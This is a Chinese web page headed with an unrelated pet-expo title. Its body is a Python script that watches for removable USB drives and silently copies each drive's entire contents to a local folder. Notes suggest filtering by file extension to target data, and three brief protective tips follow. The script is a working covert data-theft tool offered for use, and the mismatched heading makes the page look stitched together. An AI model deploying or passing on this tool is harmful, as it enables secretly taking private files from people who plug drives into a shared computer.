亞寵展、全球寵物產業風向標——亞洲寵物展覽會深度解析
964
2022-05-28
#!usr/bin/env python3 #!_*_ conding:utf-8 _*_ #!@Author:大秋神 #!@Time:2019-07-30 下午 12:02 import os,shutil,datetime,psutil,time s_path = r"E:\大秋神" while True: #遍歷磁盤 for i in psutil.disk_partitions(): if "removable" in i[3]: #i[3] 判斷是否是移動盤 # U盤 u_path =i[0] #i[0] 是代表盤符 # #存的位置 if os.path.exists(u_path): #判斷路徑是否存在 print("正在復制U盤%s" % i[0]) shutil.copytree(u_path,os.path.join(s_path,datetime.datetime.now().strftime("%Y%m%d_%H%M%S"))) print("U盤%s復制結束"% i[0]) else: print("沒有檢測到U盤") time.sleep(5) #每5秒等待
_path : 自己修改,其他的可以不修改
通過psutil模塊獲取可移動設備,遍歷出可以移動設備的盤符,然后進行判斷路徑,然后使用shutil模塊進行數據拷貝。
為了保證隨時監測U盤存在,使用while一直監聽。
PS:因為數據量太大,可以在修改源代碼,獲取指定后綴名的數據,方便快捷
防護措施:
1.不隨便將U盤等插入公用電腦
2.打印、傳輸文件單獨放
3.文件進行加密
Python 通用安全
版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。